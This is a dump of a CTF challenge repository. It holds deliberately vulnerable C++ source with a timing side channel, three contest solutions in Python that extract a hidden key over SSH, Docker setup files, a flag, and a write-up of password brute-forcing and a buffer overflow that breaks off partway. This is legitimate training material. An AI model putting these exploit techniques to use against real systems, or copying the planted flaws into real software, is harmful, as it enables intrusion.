├── README.md
├── binary-2018-03
├── README.md
├── challenge
│ ├── Makefile
│ ├── bevx_cha1.cpp
│ └── bevx_lib.c
└── solutions
│ ├── Solution-Dmitry.md
│ ├── Solution-Tim.md
│ └── Solution-mongo.md
├── binary-2020-09
├── README.md
└── ssd_challenge
├── binary-2020-11
├── Dockerfile
├── README.md
├── challenge
│ ├── flag
│ ├── friend_net
│ └── launch.sh
└── solution
│ └── README.md
├── binary-2020-12-2
├── Dockerfile
├── README.md
├── challenge
│ ├── cobra_kai
│ ├── flag
│ ├── helper.sh
│ ├── launch.sh
│ ├── ld.so
│ └── libc.so
├── deploy.sh
└── solution
│ └── README.md
├── binary-2020-12
├── Dockerfile
├── README.md
├── challenge
│ ├── checker
│ ├── flag
│ ├── helper.sh
│ ├── launch.sh
│ ├── ld-2.23.so
│ ├── libc-2.23.so
│ └── libpthread-2.23.so
├── deploy.sh
└── solution
│ └── README.md
├── binary-2021-11-23
├── README.md
└── mspaint.exe.dmp
├── chrome-ad-heavy
├── README.md
├── adunit.html
├── big.bin
├── gads.js
└── index.html
├── max_debugger
├── Dockerfile
├── MaxDebugger
├── README.md
├── docker_deploy.sh
├── flag
├── program.py
└── startup.sh
└── photo-2018-01
├── README.md
├── challenge
├── 2018_2.jpg
└── README.md
└── solution
└── README.md
/README.md:
--------------------------------------------------------------------------------
1 | # SSD Challenges
2 | ## Photo-2018-01
3 | This was part of our Jan 2018 challenge
4 |
5 | ## Binary-2018-03
6 | This was part of our March 2018 challenge
7 |
8 | ## Binary-2020-09
9 | This was part of our September 2020 challenge
10 |
11 | ## Binary-2020-11
12 | This was part of our November 2020 challenge
13 |
14 | ## Binary-2020-12
15 | This was part of our 1st December 2020 challenge
16 |
17 | ## Binary-2020-12-2
18 | This was part of our 2nd December 2020 challenge
19 |
--------------------------------------------------------------------------------
/binary-2018-03/README.md:
--------------------------------------------------------------------------------
1 | # Introduction
2 | During the event of OffensiveCon, we launched a reverse engineering and encryption challenge and gave the attendees the change to win great prizes.
3 |
4 | The challenge was divided into two parts, a file – can be downloaded from here: https://www.beyondsecurity.com/bevxcon/bevx-challenge-1 **NOTE link is no longer valid** – that you had to download and reverse engineer and server that you had to access to have a running version of this file.
5 |
6 | The challenge could not have been resolved without access to the server as the encryption key that you were supposed to extract was only available in the running version on the server.
7 |
8 | We had some great solutions sent to us, some of them were posted below – some arrived after the deadline, and some were not eligible as their solution was incomplete, but in the end we had three winners.
9 |
10 | First place winner got an all paid, flight and hotel, and entry to our security conference beVX in September (2018), second place prize winner got flight and entry to our security conference and the third place winner got a free entry to our event.
11 |
12 | # Challenge Source Code
13 | If you don’t want to get a solution or hints to how to solve it – don’t look at the challenge/ directory files – you have been warned 🙂
14 |
--------------------------------------------------------------------------------
/binary-2018-03/challenge/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: all clean
2 | CCFLAGS=-std=c++11 -s -Os
3 | OUT_DIR=$(PWD)/build/
4 | all: out_dir bevx_cha1
5 | bevx_lib.so: bevx_lib.o
6 | g++ -shared -o build/bevx_lib.so build/bevx_lib.o
7 | bevx_lib.o: out_dir bevx_lib.cpp
8 | g++ $(CCFLAGS) -fPIC -c bevx_lib.cpp -o build/bevx_lib.o
9 | bevx_cha1: bevx_cha1.cpp bevx_lib.so
10 | g++ -o build/bevx_cha1 $(CCFLAGS) bevx_cha1.cpp -L$(OUT_DIR) -l:./bevx_lib.so -lstdc++
11 | out_dir:
12 | mkdir -p $(OUT_DIR)
13 | clean:
14 | rm -rf build/
15 |
--------------------------------------------------------------------------------
/binary-2018-03/challenge/bevx_cha1.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #ifdef _WIN
5 | #define IMPORT extern __declspec(dllimport)
6 | #else
7 | #define IMPORT extern
8 | #endif
9 | IMPORT size_t encrypt(size_t num);
10 | IMPORT size_t decrypt(size_t num);
11 | IMPORT const char private_key[];
12 | IMPORT const size_t private_key_length;
13 | IMPORT const size_t number_of_rows;
14 | class Algo
15 | {
16 | public:
17 | static const size_t ROWS = 0x20;
18 | static const size_t COLS = 0x20;
19 | char table[ROWS][COLS] = { {0} };
20 | char * password;
21 | union
22 | {
23 | struct
24 | {
25 | size_t unused : 3;
26 | size_t init : 1;
27 | } s1;
28 | size_t number_of_rows : 5;
29 | } u1 = {};
30 | struct
31 | {
32 | size_t row : 7;
33 | int i : 7;
34 | char exponent[COLS];
35 | size_t x;
36 | } expo_data = {};
37 | static void StoreNumber(char * row, size_t num, bool enc = true)
38 | {
39 | if (enc)
40 | num = encrypt(num);
41 | for (int i = COLS - 1; i >= 0; i--)
42 | {
43 | row[i] = num % 2;
44 | num = num / 2;
45 | }
46 | }
47 | static void RetrieveNumber(char * row, size_t& num)
48 | {
49 | num = 0;
50 | for (int i = 0; i < COLS; i++)
51 | {
52 | num = num * 2 + row[i];
53 | }
54 | num = decrypt(num);
55 | }
56 | void Calculate_next()
57 | {
58 | expo_data.x = expo_data.x * expo_data.x;
59 | if (expo_data.exponent[expo_data.i++] == 1)
60 | {
61 | size_t num = 0;
62 | RetrieveNumber(table[expo_data.row], num);
63 | expo_data.x = expo_data.x * num;
64 | }
65 | }
66 | void End_calc()
67 | {
68 | StoreNumber(table[expo_data.row], std::hash()(expo_data.x));
69 | u1.s1.init = 0;
70 | u1.s1.init = false;
71 | }
72 | void InitializeExp(size_t row1, size_t row2)
73 | {
74 | std::copy(table[row2], table[row2] + COLS, expo_data.exponent);
75 | expo_data.i = 0;
76 | while (expo_data.exponent[expo_data.i] == 0 && expo_data.i < COLS)
77 | {
78 | ++expo_data.i;
79 | }
80 | expo_data.x = 1;
81 | expo_data.row = row1;
82 | }
83 | void Multiply(size_t row1, size_t row2, size_t row3)
84 | {
85 | size_t num1 = 0, num2 = 0, num3 = 0;
86 | RetrieveNumber(table[row1], num1);
87 | RetrieveNumber(table[row2], num2);
88 | num3 = num1 * num2;
89 | StoreNumber(table[row3], num3);
90 | }
91 | void Add(size_t row1, size_t row2, size_t row3)
92 | {
93 | size_t num1 = 0, num2 = 0, num3 = 0;
94 | RetrieveNumber(table[row1], num1);
95 | RetrieveNumber(table[row2], num2);
96 | num3 = num1 + num2;
97 | StoreNumber(table[row3], num3);
98 | }
99 | void Sub(size_t row1, size_t row2, size_t row3)
100 | {
101 | size_t num1 = 0, num2 = 0, num3 = 0;
102 | RetrieveNumber(table[row1], num1);
103 | RetrieveNumber(table[row2], num2);
104 | num3 = num1 - num2;
105 | StoreNumber(table[row3], num3);
106 | }
107 | void Divide(size_t row1, size_t row2, size_t row3)
108 | {
109 | size_t num1 = 0, num2 = 0, num3 = 0;
110 | RetrieveNumber(table[row1], num1);
111 | RetrieveNumber(table[row2], num2);
112 | if (num2 == 0)
113 | {
114 | return;
115 | }
116 | num3 = num1 / num2;
117 | StoreNumber(table[row3], num3);
118 | }
119 | bool ValidateRowIndex(size_t row)
120 | {
121 | return (row < u1.number_of_rows);
122 | }
123 | void Encryption()
124 | {
125 | if (expo_data.i > COLS - 1)
126 | {
127 | End_calc();
128 | return;
129 | }
130 | char op = 0;
131 | std::cout << "Continue Encryption? (y/n)" << std::endl;
132 | std::cin >> op;
133 | switch (op)
134 | {
135 | case 'y':
136 | case 'Y':
137 | Calculate_next();
138 | break;
139 | case 'n':
140 | case 'N':
141 | End_calc();
142 | break;
143 | }
144 | return;
145 | }
146 | void CopyTable(char t1[ROWS][COLS], char t2[ROWS][COLS])
147 | {
148 | for (unsigned int i = 0; i < ROWS; i++)
149 | {
150 | size_t num = 0;
151 | RetrieveNumber(t1[i], num);
152 | StoreNumber(t2[i], num, false);
153 | }
154 | }
155 | void PrintTable()
156 | {
157 | #ifdef DEBUG
158 | char t[ROWS][COLS] = { 0 };
159 | CopyTable(table, t);
160 | size_t col_size = 0x20;
161 | std::cout << " ";
162 | for (int i = 0; i < col_size; i++)
163 | {
164 | std::cout << "--";
165 | }
166 | std::cout << std::endl;
167 | for (int i = 0; i < u1.number_of_rows; i++)
168 | {
169 | std::cout << "<|";
170 | for (int j = 0; j < ROWS; j++)
171 | {
172 | std::cout << (char)(('0' + t[i][j])) << "|";
173 | }
174 | std::cout << ">" << std::endl;
175 | }
176 | std::cout << " ";
177 | for (int i = 0; i < col_size; i++)
178 | {
179 | std::cout << "--";
180 | }
181 | std::cout << std::endl;
182 | #endif
183 | }
184 | void Init()
185 | {
186 | #ifdef _DEBUG
187 | for (unsigned int i = 0; i < ROWS; i++)
188 | {
189 | StoreNumber(table[i], 0);
190 | }
191 | #endif
192 | }
193 | void MainLoop()
194 | {
195 | bool done = false;
196 | Init();
197 | password = table[number_of_rows + 2];
198 | std::copy(&private_key[0], &private_key[0] + private_key_length, password);
199 | password[private_key_length - 1] |= 1;
200 | u1.number_of_rows = number_of_rows;
201 | while (!done)
202 | {
203 | if (u1.s1.init)
204 | {
205 | Encryption();
206 | continue;
207 | }
208 | size_t op = 0;
209 | std::cout << "Please choose your option:" << std::endl;
210 | std::cout << "0. Store Number" << std::endl;
211 | std::cout << "1. Get Number" << std::endl;
212 | std::cout << "2. Add" << std::endl;
213 | std::cout << "3. Subtract" << std::endl;
214 | std::cout << "4. Multiply" << std::endl;
215 | std::cout << "5. Divide" << std::endl;
216 | std::cout << "6. Private Key Encryption" << std::endl;
217 | std::cout << "7. Binary Representation" << std::endl;
218 | std::cout << "8. Exit" << std::endl;
219 | std::cin >> op;
220 | if (!std::cin)
221 | {
222 | done = true;
223 | break;
224 | }
225 | switch (op)
226 | {
227 | case 0:
228 | {
229 | size_t row = 0;
230 | size_t num = 0;
231 | std::cout << "Enter row and number" << std::endl;
232 | std::cin >> row >> num;
233 | if (!std::cin)
234 | {
235 | done = true;
236 | break;
237 | }
238 | if (!ValidateRowIndex(row))
239 | {
240 | std::cout << "Row number is out of range" << std::endl;
241 | break;
242 | }
243 | StoreNumber(table[row], num);
244 | break;
245 | }
246 | case 1:
247 | {
248 | size_t row = 0;
249 | size_t num = 0;
250 | std::cout << "Enter row" << std::endl;
251 | std::cin >> row;
252 | if (!std::cin)
253 | {
254 | done = true;
255 | break;
256 | }
257 | if (!ValidateRowIndex(row))
258 | {
259 | std::cout << "Row number is out of range" << std::endl;
260 | break;
261 | }
262 | RetrieveNumber(table[row], num);
263 | std::cout << "Result is " << num << std::endl;
264 | break;
265 | }
266 | case 2:
267 | {
268 | size_t row1 = 0, row2 = 0, row3 = 0;
269 | std::cout << "Enter row of arg1, row of arg2 and row of result" << std::endl;
270 | std::cin >> row1 >> row2 >> row3;
271 | if (!std::cin)
272 | {
273 | done = true;
274 | break;
275 | }
276 | if (!(ValidateRowIndex(row1) && ValidateRowIndex(row2) && ValidateRowIndex(row3)))
277 | {
278 | std::cout << "Row number is out of range" << std::endl;
279 | break;
280 | }
281 | Add(row1, row2, row3);
282 | break;
283 | }
284 | case 3:
285 | {
286 | size_t row1 = 0, row2 = 0, row3 = 0;
287 | std::cout << "Enter row of arg1, row of arg2 and row of result" << std::endl;
288 | std::cin >> row1 >> row2 >> row3;
289 | if (!std::cin)
290 | {
291 | done = true;
292 | break;
293 | }
294 | if (!(ValidateRowIndex(row1) && ValidateRowIndex(row2) && ValidateRowIndex(row3)))
295 | {
296 | std::cout << "Row number is out of range" << std::endl;
297 | break;
298 | }
299 | Sub(row1, row2, row3);
300 | break;
301 | }
302 | case 4:
303 | {
304 | size_t row1 = 0, row2 = 0, row3 = 0;
305 | std::cout << "Enter row of arg1, row of arg2 and row of result" << std::endl;
306 | std::cin >> row1 >> row2 >> row3;
307 | if (!std::cin)
308 | {
309 | done = true;
310 | break;
311 | }
312 | if (!(ValidateRowIndex(row1) && ValidateRowIndex(row2) && ValidateRowIndex(row3)))
313 | {
314 | std::cout << "Row number is out of range" << std::endl;
315 | break;
316 | }
317 | Multiply(row1, row2, row3);
318 | break;
319 | }
320 | case 5:
321 | {
322 | size_t row1 = 0, row2 = 0, row3 = 0;
323 | std::cout << "Enter row of arg1, row of arg2 and row of result" << std::endl;
324 | std::cin >> row1 >> row2 >> row3;
325 | if (!std::cin)
326 | {
327 | done = true;
328 | break;
329 | }
330 | if (!(ValidateRowIndex(row1) && ValidateRowIndex(row2) && ValidateRowIndex(row3)))
331 | {
332 | std::cout << "Row number is out of range" << std::endl;
333 | break;
334 | }
335 | Divide(row1, row2, row3);
336 | break;
337 | }
338 | case 6:
339 | {
340 | size_t row1 = 0, row2 = 0;
341 | u1.s1.init = 1;
342 | std::cout << "Enter row of message, row of key" << std::endl;
343 | std::cin >> row1 >> row2;
344 | if (!std::cin)
345 | {
346 | done = true;
347 | break;
348 | }
349 | if (!(ValidateRowIndex(row1) && ValidateRowIndex(row2)))
350 | {
351 | u1.s1.init = 0;
352 | std::cout << "Row number is out of range" << std::endl;
353 | break;
354 | }
355 | InitializeExp(row1, row2);
356 | break;
357 | }
358 | case 7:
359 | {
360 | PrintTable();
361 | break;
362 | }
363 | case 8:
364 | {
365 | done = true;
366 | break;
367 | }
368 | default:
369 | {
370 | std::cout << "Unknown option." << std::endl;
371 | break;
372 | }
373 | }
374 | }
375 | }
376 | };
377 | Algo a;
378 | int main()
379 | {
380 | a.MainLoop();
381 | return 0;
382 | }
383 |
--------------------------------------------------------------------------------
/binary-2018-03/challenge/bevx_lib.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #ifdef _WIN
5 | #define EXPORT __declspec(dllexport)
6 | #else
7 | #define EXPORT
8 | #endif
9 | static const size_t COLS = 0x20;
10 | static const size_t PRIVATE_KEY_ROWS = 3;
11 | char EXPORT private_key[PRIVATE_KEY_ROWS][COLS] = {
12 | 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0,
13 | 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0,
14 | 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1
15 | };
16 | static const size_t MIN_KEY_LENGTH = 3 * COLS;
17 | size_t EXPORT private_key_length = MIN_KEY_LENGTH; //+ 1 + ((unsigned int)std::rand()) % COLS;
18 | size_t EXPORT number_of_rows = 0x10;
19 | static const size_t WAIT_FOR = 800;
20 | static const size_t XOR_KEY = 0xDF098B52;
21 | EXPORT size_t encrypt(size_t num)
22 | {
23 | std::this_thread::sleep_for(std::chrono::milliseconds(WAIT_FOR));
24 | return num ^ XOR_KEY;
25 | }
26 | EXPORT size_t decrypt(size_t num)
27 | {
28 | std::this_thread::sleep_for(std::chrono::milliseconds(WAIT_FOR));
29 | return num ^ XOR_KEY;
30 | }
31 |
--------------------------------------------------------------------------------
/binary-2018-03/solutions/Solution-Dmitry.md:
--------------------------------------------------------------------------------
1 | # Introduction
2 | It is easy to detect that valid row numbers are 0..15 (thanks to error messages).
3 |
4 | “Private Key Encryption” handling routine sets bit 3 (& 8) of number of rows thus allowing access to rows 16..23. Key is stored in rows 18..20. Each row represents 32-bit value.
5 |
6 | Encryption is just calculation of pow(msgRow, keyRow, 1<<32)
7 |
8 | Fastest method (using timing attack) allows recovering of row value in single pass. Each non-zero bit in exponent requires additional call to decrypt(), that causes sensitive delay.
9 |
10 | But due to difficulties in automation of SSH interactive communication I derives each row in 3 steps:
11 | 1. Find number of bits if exponent (by counting “Continue Encryption? (y/n)” prompts)
12 | 2. Find highest 16 bits of exponent (by stopping encryption 16 bits before its end and brute-forcing 16 bit exponent value)
13 | 3. Find complete exponent (by brute-forcing lowest 16 bits)
14 |
15 | # Python solution
16 | ```python
17 | import sys, subprocess, time
18 | class SSH_beVX(object):
19 | EMSG = "8. Exit"
20 | def send_command(self, cmd):
21 | self.proc.stdin.write(cmd + "\n")
22 | self.proc.stdin.flush()
23 | ln = self.proc.stdout.readline()
24 | assert ln.startswith(cmd)
25 | self.started = time.clock()
26 | def read_line(self):
27 | return self.proc.stdout.readline()
28 | def read_until(self, msg=EMSG):
29 | lines = []
30 | while True:
31 | lines.append(self.read_line())
32 | if lines[-1].startswith(msg):
33 | return lines
34 | def write_row(self, row, val):
35 | self.send_command("0")
36 | self.read_line() # Enter row and number
37 | self.send_command("%d %d" % (row, val))
38 | self.read_until() # Please choose your option:
39 | def read_row(self, row):
40 | self.send_command("1")
41 | self.read_line() # Enter row
42 | self.send_command("%d" % row)
43 | ln = self.read_line() # Result is
44 | assert ln.startswith("Result is")
45 | self.read_until() # Please choose your option:
46 | return int(ln.split()[-1])
47 | def measure_crypt(self, keyRow, msgRow=0, val=3):
48 | self.write_row(msgRow, val)
49 | self.send_command("6")
50 | self.read_line() # Enter row of message, row of key
51 | self.send_command("%d %d" % (msgRow, keyRow))
52 | exp = 0
53 | while True:
54 | ln = self.read_line()
55 | delta = time.clock() - self.started
56 | bit = 1 if delta > 0.7 else 0
57 | exp = (exp*2) + bit
58 | sys.stderr.write("\r%8X" % exp)
59 | if not ln.startswith("Continue Encryption? (y/n)"): break
60 | self.send_command("Y")
61 | self.read_until() # Please choose your option:
62 | res = self.read_row(msgRow)
63 | if res != pow(val, exp, 1<<32):
64 | exp ^= 1
65 | if res != pow(val, exp, 1<<32): raise Exception("Can't find key[%d]" % keyRow)
66 | s = ("%08X" % exp).decode("hex")
67 | sys.stderr.write("\r%08X [%s]\n" % (exp, s))
68 | return s
69 | def __init__(self, host, username, password, port=22):
70 | args = ["plink", "-l", username, "-pw", password, "-P", "%d" % port, host]
71 | self.proc = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1)
72 | def main():
73 | ssh = SSH_beVX("x.x.x.x", "challenge", "challenge")
74 | ssh.read_until() # Please choose your option:
75 | r = [ssh.measure_crypt(keyRow, 0, 7) for keyRow in xrange(18, 21)]
76 | print "Key is [%s]" % "".join(r) # "beVX Sep 20!"
77 | ssh.send_command("8")
78 | if __name__=="__main__": main()
79 | ```
--------------------------------------------------------------------------------
/binary-2018-03/solutions/Solution-Tim.md:
--------------------------------------------------------------------------------
1 | # Introduction
2 | The “encryption” routine operates on 1 bit of the key at a time, modifying an internal ongoing value each step. If the bit is a zero then this value is squared. If the bit is a one then the value is squared and then further multiplied by the value of the “message” that is selected to encrypt.
3 |
4 | Because you can stop the encryption at any point, you can encrypt progressively more of the message, allowed each bit to be extracted by comparing the result with the result for the previous number of bits.
5 |
6 | Script output:
7 | ```
8 | [+] Connecting to x.x.x.x on port 22: Done
9 | [+] Opening new channel: 'shell': Done
10 | [*] Bit 0 result: 0x1
11 | [*] Key: 0
12 | [*] Bit 1 result: 0x11
13 | [*] Key: 01
14 | [*] Bit 2 result: 0x1331
15 | ....
16 | [*] Bit 28 result: 0xb11e13b1
17 | [*] Key: 01100010011001010101011001011
18 | [*] Bit 29 result: 0x60ffc061
19 | [*] Key: 011000100110010101010110010110
20 | [*] Bit 30 result: 0x91cfa4c1
21 | [*] Key: 0110001001100101010101100101100
22 | ```
23 |
24 | # Python solution
25 | ```python
26 | #!/usr/bin/env python2
27 | # beVX Challenge 1 exploit script
28 | # - timpwn
29 | import pwn # pip install pwn
30 | import logging
31 | remote = True
32 | # pwn.context.log_level = logging.DEBUG
33 | def set_value(row, value):
34 | r.sendline("0")
35 | r.sendline(str(row))
36 | r.sendline(str(value))
37 | r.readuntil(prompt)
38 | def get_value(row):
39 | r.sendline("1")
40 | r.readline()
41 | r.sendline(str(row))
42 | r.readuntil("Result is ")
43 | response = r.readline()
44 | value = int(response)
45 | r.readuntil(prompt)
46 | return value
47 | def encrypt(message_row, key_row, bit_count):
48 | r.sendline("6")
49 | r.readline()
50 | r.sendline(str(message_row))
51 | r.sendline(str(key_row))
52 | continue_prompt = "Continue Encryption? (y/n)"
53 | r.readuntil(continue_prompt)
54 | r.readline()
55 | for i in range(bit_count):
56 | r.sendline("y")
57 | response = r.readline().strip()
58 | # The remote system echoes our input back
59 | if response == "y":
60 | response = r.readline().strip()
61 | if response != continue_prompt:
62 | pwn.log.debug("No more encryption at bit {}".format(i))
63 | r.readuntil(prompt)
64 | return
65 | r.sendline("n")
66 | r.readuntil(prompt)
67 | def decode_key_row(row):
68 | result = ""
69 | previous_value = 1
70 | # Get data out for incremental encryption key bits
71 | p = pwn.log.progress("Reading row {}".format(row))
72 | for bit in range(0, 32):
73 | # Encrypt 0x11 using the key in the row specified
74 | p.status("Getting bit {}".format(bit))
75 | multiplier = 0x11
76 | set_value(0, multiplier)
77 | encrypt(0, row, bit)
78 | v = get_value(0)
79 | pwn.log.debug("Bit {} result: 0x{:x}".format(bit, v))
80 | # See if our multiplier has been used, which indicates that
81 | # the key has a "1" in this position
82 | previous_squared = previous_value * previous_value
83 | if v == previous_squared & 0xffffffff:
84 | result += "0"
85 | elif v == (previous_squared * multiplier) & 0xffffffff:
86 | result += "1"
87 | elif v == previous_value:
88 | # This means that we've gone past the end of the key,
89 | # so now we know that the first N bits were zeroes
90 | break
91 | else:
92 | pwn.log.warn("Unexpected value!")
93 | result += "?"
94 | pwn.log.debug("Progress: " + result)
95 | previous_value = v
96 | # Add the zeroes that we didn't get to see at the start of the key
97 | result = ("0" * (32-len(result))) + result
98 | p.success("Got row, value: " + result)
99 | return result
100 | def connect():
101 | if remote:
102 | ssh = pwn.ssh(user="challenge",
103 | host="x.x.x.x",
104 | password="challenge")
105 | r = ssh.shell()
106 | prompt = "8. Exit\r\n"
107 | else:
108 | r = pwn.process("./cha1")
109 | prompt = "8. Exit\n"
110 | return (r, prompt)
111 | r, prompt = connect()
112 | r.readuntil(prompt)
113 | # We can get rows 18-20 ok, after which no encryption cycles are possible -
114 | # this is most likely because the rows are all zeroes.
115 | rows_bits = list()
116 | for row in range(18, 21):
117 | partial_key = decode_key_row(row)
118 | rows_bits.append(partial_key)
119 | # Pad out and combine the key parts
120 | combined = ""
121 | for r in rows_bits:
122 | padded = ("0" * (32 - len(r))) + r
123 | print "Row value:", hex(int(padded, 2))
124 | combined += "{:04x}".format(int(padded, 2))
125 | pwn.log.info("Key: " + repr(combined.decode("hex")))
126 | ```
127 |
--------------------------------------------------------------------------------
/binary-2018-03/solutions/Solution-mongo.md:
--------------------------------------------------------------------------------
1 | # Python solution
2 | ```python
3 | import operator
4 | import ctypes, sys, re, os
5 | from pwn import *
6 | from pwnlib.tubes.ssh import *
7 | remote = 1
8 | if not remote:
9 | conn = ssh(host='192.168.1.5', user='cha1', password='cha1')
10 | else:
11 | conn = ssh(host='x.x.x.x', user='challenge', password='challenge')
12 | s = conn.shell()
13 | s.sendall = s.send
14 | s.recvuntil("\r\n")
15 | s.recvuntil("8. Exit")
16 | def store(idx, val):
17 | s.sendall("0\n%d\n%d\n" % (idx, val))
18 | s.recvuntil("8. Exit")
19 | def get(idx):
20 | s.sendall("1\n%d\n" % (idx))
21 | s.recvuntil("Result is ")
22 | v = int(s.recvuntil("\r\n"))
23 | s.recvuntil("8. Exit")
24 | return v
25 | def privateenc(msg_idx, key_idx):
26 | s.sendall("6\n")
27 | s.recvuntil("Enter row of message, row of key\r\n")
28 | s.sendall("%d\n%d\n" % (msg_idx, key_idx))
29 | s.recvuntil("\n")
30 | s.recvuntil("\n")
31 | def reset():
32 | for i in range(16):
33 | store(i, 0)
34 | def get_key_part(key_idx):
35 | privateenc(16, key_idx)
36 | times = 0
37 | """
38 | check the number of bits left in this key part
39 | """
40 | for i in range(32):
41 | v = s.recvuntil("\r\n").strip()
42 | #print "<<", v
43 | if "Continue Encryption" in v:
44 | s.sendall("y\n")
45 | s.recvuntil("\n")
46 | times += 1
47 | else:
48 | break
49 | s.recvuntil("8. Exit")
50 | print "key %d bits = %d" % (key_idx, times)
51 | num_bits = times
52 | """
53 | now, get key_part
54 | keep in mind result is multiplied by itself at every step
55 | if key bit is 1, we also multiply by 3 (baseval)
56 | """
57 | baseval = 3
58 | pos = 32 - num_bits - 1
59 | skip = 0
60 | cur_val = 1
61 | key_part = 0
62 | for i in range(32 - num_bits, 32):
63 | store(0, baseval)
64 | privateenc(0, key_idx)
65 | val_if_1 = ((cur_val * cur_val) * baseval) & 0xFFFFFFFF
66 | val_if_0 = ((cur_val * cur_val)) & 0xFFFFFFFF
67 | times = 0
68 | for i in range(skip + 1):
69 | v = s.recvuntil("\n").strip()
70 | s.sendall("y\n")
71 | s.recvuntil("\n")
72 | v = s.recvuntil("\n").strip()
73 | if "Continue" in v:
74 | s.sendall("n\n")
75 | s.recvuntil("\n")
76 | s.recvuntil("8. Exit")
77 | res = get(0)
78 | #print "res=", res
79 | if res not in [val_if_0, val_if_1]:
80 | print res
81 | print [val_if_0, val_if_1]
82 | raise "Fail"
83 | key_part = (key_part << 1) | (1 if res == val_if_1 else 0)
84 | cur_val = res
85 | skip += 1
86 | print bin(key_part), "%08X" % key_part, ("%08X" % key_part).decode('hex')
87 | for i in range(18, 22):
88 | get_key_part(i)
89 | s.close()
90 | ```
--------------------------------------------------------------------------------
/binary-2020-09/README.md:
--------------------------------------------------------------------------------
1 | # Welcome to our September - 2020 challenge
2 | This challenge comes as a binary with a certain vulnerability in it!
3 | First one to solve it, email us the solution to contact@ssd-disclosure.com for a chance to win a custom gift box.
4 |
--------------------------------------------------------------------------------
/binary-2020-09/ssd_challenge:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-09/ssd_challenge
--------------------------------------------------------------------------------
/binary-2020-11/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:xenial
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | # Update
6 | RUN apt-get update -y && apt-get install socat -y
7 |
8 | # Create ctf-user
9 | RUN groupadd -r ctf && useradd -r -g ctf ctf
10 | RUN mkdir /home/ctf
11 |
12 | ADD challenge/launch.sh /home/ctf/launch.sh
13 |
14 | # Challenge files
15 | ADD challenge/flag /home/ctf/flag
16 | ADD challenge/friend_net /home/ctf/friend_net
17 |
18 | # Set some proper permissions
19 | RUN chown -R root:ctf /home/ctf
20 | RUN chmod 750 /home/ctf/friend_net
21 | RUN chmod 750 /home/ctf/launch.sh
22 | RUN chmod 440 home/ctf/flag
23 |
24 | ENTRYPOINT /home/ctf/launch.sh
25 |
--------------------------------------------------------------------------------
/binary-2020-11/README.md:
--------------------------------------------------------------------------------
1 | # Welcome to our November - 2020 challenge
2 | This challenge comes as a binary running inside a Docker with certain vulnerabilities in it!
3 | First one to solve it, email us the solution to contact@ssd-disclosure.com for a chance to win a custom gift box.
4 |
5 | Solutions should be provided in:
6 | 1. python2 or python3 (preferred) form
7 | 2. Solution should connect via port 2323 to the running Docker and obtain the `/home/ctf/flag` and display it to the person running the script
8 | 3. If you are not using existing modules, provide a `requirements.txt` file
9 |
10 | ## Notes on files under challenge folder
11 | While the `flag`, `friend_net` (hash: cbb7cb654080beea8241dfdd331312530c172c57d5e4604716dc1588bfee6e6b), `launch.sh` are here to help you understand the challenge - they should not be modifying in any way in order to win the challenge - we will be running the original binary in our environment.
12 |
13 |
14 | ## Notes on setting on the ENV for the challenge
15 | ### Build container
16 | ```bash
17 | sudo docker build --tag friend_net .
18 | ```
19 |
20 | ### Run container with port 2323 being exposed
21 | ```bash
22 | sudo docker run --detach -p 2323:2323 friend_net
23 | ```
24 |
25 | ### Debugging
26 | ```bash
27 | sudo docker exec -it bash
28 | ```
29 |
--------------------------------------------------------------------------------
/binary-2020-11/challenge/flag:
--------------------------------------------------------------------------------
1 | S3Dflg{1PC_D0NT_Tr03t_A11_y0U_s33}
2 |
--------------------------------------------------------------------------------
/binary-2020-11/challenge/friend_net:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-11/challenge/friend_net
--------------------------------------------------------------------------------
/binary-2020-11/challenge/launch.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | socat -t20 -T20 TCP-LISTEN:2323,reuseaddr,fork EXEC:"/home/ctf/friend_net"
3 |
--------------------------------------------------------------------------------
/binary-2020-11/solution/README.md:
--------------------------------------------------------------------------------
1 | # SSD November Challenge (by Robert Chen - @NotDeGhost)
2 | The first vulnerability was improper hashing.
3 |
4 | ```c
5 | while (i < size) {
6 | tmp_value._0_1_ = input[i];
7 | if ((int)(char)tmp_value * 10 < 0x20) {
8 | tmp_value._0_1_ = (char)tmp_value % '\x05';
9 | }
10 | else {
11 | tmp_value._0_1_ = (char)(((int)(char)tmp_value * 0x124343) % 0xef);
12 | }
13 | input[i] = (char)tmp_value;
14 | i = i + 1;
15 | }
16 | ```
17 |
18 | Upon seeing this, I was immediately suspicious. Most hash functions, even handrolled ones, have both addition and multiplication? I didn't really understand what was going on, but analysis through GDB showed that the values tended towards very high values (ie `0xfc, 0xfd, 0xfe, 0xff, 0x00`).
19 |
20 | Because the hash is done per character, I handpicked a few characters with distinct hash values after running them through the max repetition of hashes. From here, we can easily brute force the 4 byte long admin password.
21 | ```python
22 | chrs = ["a", "c", "d", "e", "j"]
23 | for i1 in range(len(chrs)):
24 | print(str(i1) + " / 4")
25 | for i2 in range(len(chrs)):
26 | for i3 in range(len(chrs)):
27 | for i4 in range(len(chrs)):
28 | ```
29 |
30 | After getting access to the admin interface, I used a buffer overflow in the "Set Header" functionality of the admin panel. Specifically, this allowed us to overwrite a `char*` and then read into it, effectively giving an arbitrary read/write primitive.
31 |
